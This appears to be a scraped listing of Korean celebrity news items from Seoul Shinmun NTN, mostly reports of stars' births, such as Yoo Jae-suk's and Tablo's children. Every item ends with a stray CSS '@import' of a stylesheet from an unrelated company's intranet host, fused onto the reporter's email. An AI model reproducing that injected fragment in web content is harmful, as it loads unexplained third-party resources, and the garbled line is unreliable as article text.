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  • 국가대표 골키퍼 정성룡, 오늘(18일) 오전 ‘득남’

    국가대표 골키퍼 정성룡, 오늘(18일) 오전 ‘득남’

    2010 남아공 월드컵 한국 축구 국가대표 골키퍼 정성룡 선수가 아빠가 됐다. 정성룡 선수의 부인 임미정 씨는 아르헨티나전이 열렸던 지난 17일 출산이 예정돼 있었으나 하루 늦은 18일 오전 경기도 분당의 한 산부인과에서 아들을 낳았다. 정성룡 선수는 남아공 현지에 있어 아내의 곁을 지키지 못했지만 이전부터 자신의 미니홈피에 사랑이(태명) 초음파 사진을 공개하는 등 가족에 대한 사랑을 드러냈다. 한편 정성룡 선수의 부인 임미정 씨는 2005년 엘리트 모델룩 코리아 선발대회 1위 출신으로 2006년 경남 진을 차지했다. 임미정 씨는 만삭임에도 세련되고 아름다운 미모로 온라인상에서 큰 화제를 모은 바 있다. 사진 = 임미정 씨 미니홈피 서울신문NTN 서은혜 인턴기자 eune@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 귀순가수 김혜영-배우 김성태, 12일 ‘월드컵 베이비’ 득남

    귀순가수 김혜영-배우 김성태, 12일 ‘월드컵 베이비’ 득남

    귀순가수 겸 배우 김혜영과 배우 김성태 부부가 ‘월드컵 베이비’를 얻었다. 지난해 11월 김성태과 부부의 연을 맺은 김혜영은 6월 12일 오전 4시경 서울의 한 산부인과에서 자연분만으로 아들을 출산했다. 산모와 아이 모두 건강한 상태로 현재 김혜영은 산후조리원에서 조리 중이다. 이들 부부는 2010 남아공 월드컵 한국의 첫 경기가 있는 날인 12일에 태어난 자신들의 첫 아들을 ‘월드컵 베이비’라 부르며 기뻐한 것으로 전해졌다. 김혜영은 한 매체와의 인터뷰에서 “아직까지 실감이 안 난다. 내 몸에서 새 생명이 나왔다는 사실이 감격스럽다.”고 소감을 전하며 “월드컵둥이를 얻게 돼 너무 기분이 좋다. 지금 월드컵을 함께 보려 옆에서 자고 있다.”고 밝혔다. 한편 김혜영과 김성태는 지난해 11월 결혼에 골인했다. 두 사람은 김혜영이 일본에서 활동할 당시 지인의 소개로 처음 만나 악극 ‘홍도야 울지마라’에서 남녀 주인공으로 호흡을 맞춘 뒤 연인으로 발전했다. 김혜영은 지난 1998년 귀순, 아름다운 외모와 뛰어난 연기력으로 주목받으며 배우 겸 가수로 활동해왔다. SBS ‘덕이’, KBS 2TV ‘대추나무 사랑 걸렸네’ 등에 출연했다. 김성태는 영화 ‘피아노 치는 대통령’, ‘애자’ 등에 출연했다. 사진 = 황마담웨딩컨설팅 서울신문NTN 오영경 인턴기자 oh@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • ‘득남’ 송주-최성현, 아기모습 공개 “너무 사랑해”

    ‘득남’ 송주-최성현, 아기모습 공개 “너무 사랑해”

    ’모델 - 축구스타’ 커플, 송주·최성현이 득남했다. 송주는 지난 12일 자신의 미니홈피 대문사진을 통해 갓 태어난 아기의 모습을 공개했다. 이어 지난 20일에는 미니홈피 다이어리에 “우리 사랑스런 아흥이 탯줄 떨어지고 배꼽 생긴 날”이라며 “하루가 다르게 몸무게도 늘어가고 표정도 다양해지고…너무 사랑스러워.”라고 행복한 마음을 전했다. 또 송주는 “이제 우리 세 식구 행복하게 잘 살자. 아빠도 아흥이도 너무 사랑해.”라고 아기에게 기쁨의 메시지를 남겼다. 아흥이는 아들의 태명이다. 송주의 미니홈피를 방문한 네티즌들은 “아이 낳으신 거 축하드린다.”, “축복받는 삶으로 자라길 바란다.”, “엄마, 아빠를 닮아 정말 예쁠 것” 등 축하 메시지를 쏟아냈다. 한편 송주는 축구선수 최성현(수원 삼성 블루윙스)과 1년 열애 끝에 지난해 12월 결혼했으며 그후 5개월 만에 득남했다. 사진 = 송주 미니홈피 서울신문NTN 김수연 인턴기자 newsyouth@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 류진-이혜선 부부 “둘째가 체중 미달이라 걱정”

    류진-이혜선 부부 “둘째가 체중 미달이라 걱정”

    최근 득남한 배우 류진-이혜선 부부가 2세의 건강에 대해 걱정하는 눈빛을 내비쳤다. 이혜선 씨는 지난 9일 경기도 일산의 한 병원에서 둘째 아들을 낳았다. 하지만 출산할 당시 아이가 2.58kg으로 체중 미달로 태어나 부모의 마음 한 켠을 아프게 했다. 이혜선 씨는 20일 오후 서울신문NTN과의 전화통화에서 “둘째 아들인 또또(태명)가 세상에 태어나 행복하다.”고 소감을 전한 뒤 “하지만 저체중으로 태어나 걱정이 앞선다.”고 심정을 털어놨다. 이어 “나도 작게 태어났지만 아무 탈없이 자랐다.”라며 “둘째 아이는 첫째보다 훨씬 작게 태어나서 고민이지만 앞으로 크고 튼튼하게 키울 생각이다.”고 덧붙였다. 또한 이혜선 씨는 셋째 출산 계획에 대한 질문에 “셋째가 딸 이라면 또 출산할 마음이 있지만 아들이라면 어려울 것 같다.”고 답했다. 한편 이혜선 씨의 남편인 탤런트 류진은 현재 KBS 2TV ‘국가가 부른다’에서 미술품 경매회사 부사장 한도훈 역으로 열연하고 있다. 사진 = 페퍼민트 느낌 서울신문NTN 김수연 인턴기자 newsyouth@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • [단독] 김성준-정애연, 부모됐다..17일 득남

    [단독] 김성준-정애연, 부모됐다..17일 득남

    배우 김성준과 정애연 부부가 득남했다. 정애연은 17일 오후 5시경 서울 강남의 한 산부인과에서 자연분만으로 건강한 사내아이를 낳은 것으로 확인됐다. 병원 관계자에 따르면 산모와 아이 모두 건강한 상태다. 김성준은 서울신문NTN과의 전화통화에서 “아이와 산모 모두 건강해서 기쁘다. 아내 정애연이 아들을 낳고 매우 행복해했다.”고 심경을 전했다. 두 사람은 지난해 11월 22일 함께 다니던 교회에서 화촉을 밝혔는데 결혼식 당시 정애연은 임신 4개월째로 접어든 상태였다. 한편 김성준은 1995년 연극 ‘햄릿’ 데뷔해 드라마 ‘제5공화국’ ‘직지’ ‘불량주부’ ‘그래도 좋아’ ‘순결한 당신’, 영화 ‘두 사람이다’ ‘주홍글씨’ ‘아카시아’ 등으로 주목 받았다. 정애연은 드라마 ‘홍콩 익스프레스’ ‘소금인형’ ‘비포&애프터 성형외과’, 영화 ‘슬픔보다 더 슬픈 이야기’ 등에 출연한 바 있으며 지난 5일 개봉한 영화 ‘첫사랑 열전’을 통해 관객들과 만났다. 최근 두 사람은 KBS 드라마 ‘아이리스’를 제작한 제작사 겸 매니지먼트사 에이치플러스커뮤니케이션으로 나란히 자리를 옮겨 본격적인 활동을 모색하고 있다. 사진 = 서울신문NTN DB 서울신문NTN 김경미 기자 84rornfl@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 모델 송주, 출산 임박설…네티즌 “축하해요”

    모델 송주, 출산 임박설…네티즌 “축하해요”

    모델 송주가 출산을 앞두고 있어 화제다. 송주는 지난 2009년 12월 수원 삼성 미드필더 최성현 선수와 결혼 후 5개월만에 엄마가 된다. 지난달 30일 송주는 자신의 미니홈피에 출산 소식을 알렸다. 그녀는 “D-day 10”이라며 남은 시간을 알린 후 “언제 나와서 엄마 아빠 행복하게 해줄래?”라고 들뜬 마음을 전했다. 특히 미니홈피 메인 화면에는 송주-최성현 부부의 2세의 초음파 사진이 게재돼 눈길을 끌었다. 사진 아래에는 송주가 남긴 ‘사랑해’라는 문구가 적혀있어 팬들의 마음을 훈훈하게 했다. 송주의 미니홈피에 방문한 네티즌들은 “출산이 얼마 남지 않았는데 득남득녀하길 바란다.” “DCM 활동 때부터 팬이었다. 소중한 2세 소식을 축하한다.” “엄마 아빠 닮은 예쁜 아가를 얻길 바란다.” 등 축하의 메시지를 남겼다. 한편, 지난 2002년 모델로 데뷔한 송주는 프로 모델로 장윤정 ‘꽃’ 뮤직비디오에 출연한 바 있다. 또 신화 에릭과 함께 비달사순 CF를 찍어 얼굴을 알렸다. 사진 = 송주 미니홈피 서울신문NTN 김경미 기자 84rornfl@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 타블로 득녀 “아내 강혜정이 세상 최고의 여자다”

    타블로 득녀 “아내 강혜정이 세상 최고의 여자다”

    힙합그룹 에픽하이의 멤버 타블로와 배우 강혜정이 귀여운 딸을 얻었다. 타블로의 아내 강혜정은 2일 오전 서울 강남의 한 산부인과에서 첫 딸을 출산했다. 산모와 아이는 모두 건강한 상태인 것으로 전해지고 있다. 타블로는 최근 KBS ‘달콤한 밤’에 출연했을 당시 “강혜정 닮은 딸이었으면 좋겠다.”는 바람을 전한 바 있다. 그는 딸을 얻은 기쁨을 자신의 트위터에 “아 눈물나요. 너무 행복해서! 그동안 고생이 너무 컸던 내 여자 세상 최고다!”라고 표현하기도 했다. 한편, 타블로 강혜정 부부보다 하루 앞서 득남 소식을 알린 유재석 나경은 부부는 임신 때부터 ‘예비 사돈’을 맺었던 관계가 관심이 더 모아지고 있다. 사진=서울신문NTN DB 서울신문NTN 김경미 기자 84rornfl@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 타블로-강혜정 부부 득녀, 산모와 아이 모두 건강

    타블로-강혜정 부부 득녀, 산모와 아이 모두 건강

    힙합그룹 에픽하이의 멤버 타블로가 아빠가 됐다. 타블로의 아내 강혜정은 2일 오전 서울 강남의 한 산부인과에서 첫 딸을 출산했다. 산모와 아이는 모두 건강한 상태인 것으로 전해지고 있다. 타블로는 최근 KBS ‘달콤한 밤’에 출연했을 당시 “강혜정 닮은 딸이었으면 좋겠다.”는 바람을 전한 바 있다. 그는 딸을 얻은 기쁨을 자신의 트위터에 “아 눈물나요. 너무 행복해서! 그동안 고생이 너무 컸던 내 여자 세상 최고다!”라고 표현하기도 했다. 한편, 타블로 강혜정 부부보다 하루 앞서 득남 소식을 알린 유재석 나경은 부부는 임신 때부터 ‘예비 사돈’을 맺었던 관계가 관심이 더 모아지고 있다. 사진=서울신문NTN DB 서울신문NTN 이재훈 기자 kino@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • “축 메뚝 주니어”…유재석 득남 트위터 전파

    “축 메뚝 주니어”…유재석 득남 트위터 전파

    송은이가 트위터를 통해 유재석과 나경은 부부의 출산 소식을 전했다. 송은이는 1일 오후 1시20분께 “푸르른 5월, 어린이의 달, 가족의 달, 뚝아! 축하해”라는 글을 올리고 친구인 유재석이 아빠가 됐다는 사실을 가장 빨리 알렸다. 이어 “제 친구가 드디어 아이 아빠가 됐네요. 신기해라. 아빠보다 용감하고 아빠보단 씩씩하게 잘자라나길, 근데 아빠처럼 착하게 메뚝 주니어 축 탄생!”이라며 기뻐했다. 이후 오후 1시30분 경 유재석의 소속사는 “유재석의 아내인 나경은 아나운서가 강남의 한 산부인과에서 오후 1시18분께 3.4kg의 건강한 사내아이를 출산했다.”고 공식 발표했다. 사진 = 서울신문NTN DB 서울신문NTN 박영웅 기자 hero@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 유재석·나경은 ‘득남’에 네티즌+연예인 축하 ‘봇물’

    유재석·나경은 ‘득남’에 네티즌+연예인 축하 ‘봇물’

    유재석, 나경은 부부의 득남 소식에 동료 연예인들과 네티즌의 축하 인사가 이어지고 있다. 유재석의 소속사 측은 1일 “나경은이 5월 1일 오전 11시 18분께 서울 강남 소재 한 산부인과에서 3.4kg의 건강한 사내아이를 출산했다.”는 소식을 공식적으로 밝혔다. 유재석과 나경은 커플은 MBC 예능프로그램 ‘무한도전’을 통해 인연을 맺어 결혼에 골인했다. 이에 많은 네티즌들은 ‘무한도전’ 홈페이지의 시청자 게시판을 통해 축하 메시지를 전하고 있다. 특히 “요즘 MBC 파업 때문에 ‘무한도전’을 볼 수 없어 아쉬웠는데 득남 소식을 듣게 되니 기쁘다.”는 내용이 많이 보였다. 또 동료 연예인들의 축하 인사도 이어지고 있다. 유재석의 오랜 친구로 알려진 송은이는 자신의 트위터를 통해 “내 친구가 드디어 아이 아빠가 됐다. 아빠처럼 착하게 ‘메뚝 주니어’ 축 탄생!”이라고 축하 메시지를 전했다. 가수 타블로 역시 트위터를 통해 “재석이형 완전 축하! Lion JS 쥬니어 웰컴투더월드”라는 독특한 축하 인사를 전했다. 사진 = 서울신문NTN DB 서울신문NTN 박민경 기자 minkyung@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 유재석 드디어 아빠됐다…나경은 득남

    유재석 드디어 아빠됐다…나경은 득남

    유재석과 나경은 MBC 아나운서가 첫 아이를 품에 안았다. 나경은 아나운서는 1일 오전 11시 18분께 서울 강남에 위치한 한 산부인과에서 건강한 사내 아이를 출산했다. 소속사에 따르면 아이는 3.4kg으로 산모와 아이 모두 건강한 상태다. 유재석은 이날 첫 아이의 탄생을 가족들과 함께 지켰다. 두 사람은 지난 2008년 7월 결혼식을 올렸고 1년 10개월만에 부모가 됐다. 사진 = 서울신문NTN DB 서울신문NTN 박영웅 기자 hero@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 송은이, 트위터로 유재석 득남소식 전파 “축! 메뚝 주니어”

    송은이, 트위터로 유재석 득남소식 전파 “축! 메뚝 주니어”

    송은이가 트위터를 통해 유재석과 나경은 부부의 출산 소식을 전했다.송은이는 1일 오후 1시20분께 “푸르른 5월, 어린이의 달, 가족의 달, 뚝아! 축하해”라는 글을 올리고 친구인 유재석이 아빠가 됐다는 사실을 가장 빨리 알렸다.이어 “제 친구가 드디어 아이 아빠가 됐네요. 신기해라. 아빠보다 용감하고 아빠보단 씩씩하게 잘자라나길, 근데 아빠처럼 착하게 메뚝 주니어 축 탄생!”이라며 기뻐했다.이후 오후 1시30분 경 유재석의 소속사는 “유재석의 아내인 나경은 아나운서가 강남의 한 산부인과에서 오후 1시18분께 3.4kg의 건강한 사내아이를 출산했다.”고 공식 발표했다.사진 = 서울신문NTN DB서울신문NTN 박영웅 기자 hero@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 신동엽-선혜윤PD, 딸에 이어 이번엔 득남

    신동엽-선혜윤PD, 딸에 이어 이번엔 득남

    개그맨 신동엽, 선혜윤 MBC PD 부부가 득남했다. 선혜윤 PD는 지난 8일 오전 강남의 한 산부인과에서 3.45kg의 아들을 제왕절개로 출산했다. 지난 2007년 딸 지효 양에 이은 둘째다. 현재 산모와 아이 모두 건강한 상태이며 아이의 이름은 아직 짓지 않은 것으로 알려졌다. 신동엽은 2006년 5월 선 PD와 결혼해 이듬해 4월 첫 딸인 지효양을 얻었다. 8일 아들까지 얻으면서 두 아이의 아빠가 됐다. 한편 예능 프로그램 진행자와 PD의 인연으로 만난 두 사람은 2006년 5월 결혼했다. 사진 = 서울신문NTN DB 서울신문NTN 정병근 기자 oodless@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 조PD 득남 “말할 수 없이 행복하다”

    조PD 득남 “말할 수 없이 행복하다”

    조PD(본명 조중훈)가 두 아이의 아빠가 됐다. 5일 조PD의 소속사 (주)브랜뉴 스타덤 측은 오후 12시 둘째 사내아이를 봤다고 전했다. 소속사 관계자는 “건강하게 태어났다.” 며 “이름은 준모로 벌써 지었다.” 고 밝혔다. 조PD도 “이루 말할 수 없이 행복하다. 축하해 달라.” 며 “오늘도 즐겁고 행복한 하루가 되길 바란다.” 고 행복한 심경을 밝혔다. 이로써 지난 2005년 중학교 시절 첫사랑인 박주현 씨와 결혼한 조PD는 2006년 첫 아이를 낳은지 5년 만에 경사를 맞이하게 됐다. 한편 최근 미니앨범 ‘빅토리’ 를 발표하고 활발히 활동 중인 조PD는 올 한 해 싱글과 미니, 프로젝트 음반 등을 다양하게 내놓을 예정인 것으로 알려졌다. 앞서 올 11월 음반 출시와 함께 공연을 갖는 것을 끝으로 잠정 은퇴한다는 의사를 밝혀 화제가 된 바 있다. 사진 = 서울신문NTN DB 서울신문NTN 백영미 기자 positive@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 장진 감독, 미투데이 통해 득남 소식 알려

    장진 감독, 미투데이 통해 득남 소식 알려

    영화감독 장진이 둘째 아들 출산 소식을 자신의 미투데이를 통해 알렸다.장진 감독은 지난 25일 자신의 미투데이에 “밤샘 촬영을 하고 서둘러 병원에 도착. 내가 올때까지 세상에 나오길 기다려준 아가. 고맙다. 너의 시작을 찍을수 있게 해줘서. 아내 역시 너무 감사해. 두다리로 지구를 받쳐놓고 아픈비명도 없이 하늘이 되어준.”이라는 글을 남겨 둘째 출산의 기쁨을 표현했다.장 감독은 이어 “아들이 태어났습니다. 막내가 태어났습니다. 아내에게 미안해서 차마 둘째가 태어났다고는 말하지 못하고, 그냥 막내라고 하겠습니다.”라는 말을 덧붙였다.이를 접한 네티즌들은 장 감독에게 축하의 메시지를 남기며 기쁨을 함께 하고 있다.장 감독은 현재 김수로, 한재석, 류승룡 등이 출연하는 코미디 영화 ‘퀴즈왕’의 촬영에 한창이다. 사진=서울신문NTN DB서울신문NTN 이재훈 기자 kino@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 74세에 득남 ‘英최고령 아버지’ 화제

    무려 74세에 아들을 얻은 남성이 영국 최고령 아버지로 기록됐다. 영국 랭커셔에 사는 농부 게리 버크스는 75세 생일을 단 하루 앞둔 지난 12일(현지시간) 부인 돈(41)과의 사이에서 아들을 얻었다. 부인이 제왕절개 수술로 2.4kg의 아들 라이언을 낳았다는 소식에 게리는 “정말 자랑스럽다. 난 이 세상에서 가장 행복한 아버지”라고 벅찬 감정을 드러냈다. 평생 농사일을 하다가 4년 전 은퇴한 게리는 돈과의 사이에서 6살 난 아들 다니엘이 있으며 1985년 이혼한 전부인과의 사이에서 아들 3명이 있다. 게리는 16년 전 돈을 만났다. 이웃사촌이었던 그들은 가깝게 지내다가 연인으로 발전했으며 2002년 30세 넘는 나이 차이를 극복하고 부부가 됐다. 젊음을 유지하는 비결을 묻는 질문에 게리는 “술과 담배를 일절 하지 않고 과일을 많이 먹는다.”면서도 “늦었지만 아름다운 여인과 사랑에 빠져 늙지 않는 것 같다.”고 설명했다. 돈과의 사이에서 낳은 첫째 아들인 다니엘은 “아버지가 우리나라에서 나이가 많지만 동시에 최고의 아버지”라면서 “동생 라이언을 잘 돌보겠다.”고 어른스럽게 대답했다. 한편 지난해 2월 영국인 리차드 로덴이 부인 리사(25)와의 사이에서 71세 나이로 쌍둥이 딸을 얻어 ‘영국 최고령 쌍둥이 아버지’로 화제를 모은 바 있다. 영국 대중지 더 선에 따르면 세계에서 가장 나이 많은 아버지는 무려 90세에 아들을 얻은 인도 남성인 나누 람 조기다. 서울신문 나우뉴스 강경윤기자 newsluv@seoul.co.kr @import’http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css’;
  • ‘배칠수·전영미의 와와쇼’ 8년만에 막 내린다

    ‘배칠수·전영미의 와와쇼’ 8년만에 막 내린다

    SBS라디오 러브FM ‘배칠수, 전영미의 와와쇼’ (이하 ‘와와쇼’)가 26일 방송을 끝으로 8년간의 대장정에 마침표를 찍는다. 8년간 배칠수와 함께 ‘와와쇼’ 를 진행해온 전영미는 10일 “26일 방송을 끝으로 29일 프로그램 개편에 들어간다.” 면서 “8년동안 정들었던 프로그램을 떠날려니 아쉽고 안타깝고 착잡하다.” 며 정들었던 프로그램을 떠나는 심정을 밝혔다. 지난 2002년 이래 배칠수와 함께 ‘와와쇼’ 를 이끌어온 전영미는 ‘와와쇼’ 가 장수 프로그램으로 자리잡을지 예상치 못했다. 전영미는 단짝MC 배칠수에게 “이렇게 오래갈지 몰랐었다. 여기까지 온 것도 사실 감사할 일이다.” 며 “우리 스스로도 많이 배웠고 아쉽게 인사하게 됐지만 나중에 만날 수 있다. 꼭 다시 만나자고 얘기했다.” 고 전했다. 가장 기억에 남는 애청자는 생일 때만 되면 꽃다발을 보내주던 김정숙 아주머니. 하지만 이 애청자는 4~5년 전 전영미에게 “이번이 마지막이다. 내년엔 꼭 좋은 사람 만나서 그 분께 받으라.” 며 최후 통첩을 했고 정말 그 이듬해부턴 꽃다발을 받지 못했다고 전영미는 예명이 은하인 친구도 기억에 남는 애청자로 꼽았다. 20대를 ‘와와쇼’ 와 함께 해왔다는 이 애청자는 얼마전 결혼을 해서 득남을 했다는 문자를 보내오기도 했다. 이와 관련, 전영미는 “‘와와쇼’ 와 함께 세월을 같이 보내며 함께 나이를 먹어왔던 분들게 죄송해 ‘지못미’ 라고 말하고 싶다.” 며 “그런 만남을 가질 수 있는 경우는 드물어서 아쉽다.” 고 라디오 종영에 대한 아쉬움을 다시 한 번 드러냈다. 전영미와 배칠수가 일당백의 입담을 자랑하며 이끌어온 ‘전영미, 배칠수의 와와쇼’ 는 현재 3주분의 방송분을 남겨두고 있다. 사진 = 서울신문NTN DB 서울신문NTN 백영미 기자 positive@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • ‘그대 웃어요’ 해피엔딩으로 흐뭇한 종영

    ‘그대 웃어요’ 해피엔딩으로 흐뭇한 종영

    착한 드라마 ‘그대 웃어요’가 해피엔딩으로 막을 내렸다. 지난 7일 방송된 SBS 주말극 ‘그대 웃어요’ 최종회에서는 치매로 정신이 온전치 못해 가족들을 애달게 했던 만복(최불암 분)이 점점 건강을 되찾는 장면이 전파를 탔다. 놀라운 사실은 그동안 만복이 거짓 환자 행세를 했다는 점이다. 아침에 깨어난 만목은 “개운하게 잘 잤다.”며 본래 모습으로 가족들에게 인사를 했다. 이어 “그간 있었던 일들을 다 지켜보고 있었다.”고 말해 가족들을 안도케 했다. 정인(이민정 분)과 현수(정경호 분)는 만복에게 신혼의 행복을 자랑했다. 단란하게 꾸민 신혼방과 마당에 짓고 있는 새 집을 보여주며 행복한 시간을 보냈다. 또 과한 욕심으로 속을 썩였던 정길 (강석우 분)은 모든 재산을 포기하고 가족에게 돌아왔다. 행복한 분위기가 감도는 가운데 세월이 흘렀다. 정인과 현수는 쌍둥이 아이를 둔 엄마 아빠가 됐고 지수와 성준 부부도 득남을 했다. 모든 가족이 미소를 지으며 살아가는 모습에 만복은 “사랑한다.”를 외치며 가족을 끌어안았다. 마지막 방송이 끝난 후 네티즌들은 해당 홈페이지 시청자 게시판을 통해 “끝까지 훈훈하게 만들었던 드라마였다.” “막장 드라마가 판을 치는 가운데 ‘그대 웃어요’는 진정 착한 드라마였다.” 등 호평했다. 한편 ‘그대 웃어요’ 후속으로는 김용림 김해숙 송창의 이상윤 남규리 남상미 등이 출연하는 ‘인생은 아름다워’가 방송될 예정이다. 사진 = 서울신문NTN DB 서울신문NTN 김경미 기자 84rornfl@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 마르코, ‘운명의 여자’ 2년 후 결혼?

    마르코, ‘운명의 여자’ 2년 후 결혼?

    방송인 마르코가 운명의 여자를 만난다고 해 집중이 되고 있다.MBC 에브리원 ‘가족이 필요해 시즌4’ 은 외로운 스타들에게 맞춤형 가족을 선사하는 리얼 가족버라이어티로 최근 5회 촬영분 중 신년운세를 봐주던 역술인이 마르코에게 “올해 운명의 여자가 나타난다.”며 “그녀와 2년 후 결혼할 수 있다.”고 전한 것.이에 마르코는 “당장은 일에 집중해야 하지만 운명의 그녀가 나타난다면 밀어내지는 않을 것이다.”고 밝혔다.이어 역술인은 이날 촬영에서 “배우 김정민과 마르코 사이가 서로 밀어내려는 성질이 있어 잘 맞지 않는다.”고 말해 극중 막내 편애가 필연적인 것임을 입증 했다. 또한 역술인이 말하길 “김정민은 머잖아 빌딩 주인이 되며 아빠 박준규와 엄마 강수지 사이 득남을 할 운이 있다.”는 재밌는 결과를 내놓았다.한편 이날 방송은 MBC 에브리원 ‘가족이 필요해 시즌4’를 통해 오는 19일 오전 0시에 볼 수 있다.사진=서울신문NTN DB서울신문NTN 이규하 기자 judi@seoulntn.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 찰스, 100일 아들 사진 공개 ‘화제’

    찰스, 100일 아들 사진 공개 ‘화제’

    모델 출신 찰스가 100일이 된 아들의 사진을 공개했다. 지난해 말 찰스는 자신의 미니홈피에 아이 사진을 올리며 “10월 31일 아들 최지안이 세상에 등장했다.”라고 득남 소식을 알린바 있다. 찰스-한고은 부부는 출산 때까지 임신 소식을 철저하게 비밀로 유지했다. 찰스는 아들의 백일을 기념해 미니홈피에 아들의 사진을 공개하며 행복한 가정의 모습을 드러냈다. 사진을 본 네티즌들은 “축하한다. 아들이 정말 귀엽다.”며 “아이와 함께 행복하길 바란다.” 등 축하의 메시지를 전했다. 한편 찰스와 한고은은 2008년 5월 결혼한 뒤 한 달만에 불현듯 녹화를 모두 취소하고 영국으로 출국해 당시 파경설이 돌은 바 있다. 사진 = 찰스 미니홈피 서울신문NTN 김경미 기자 rornfl84@nate.com@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
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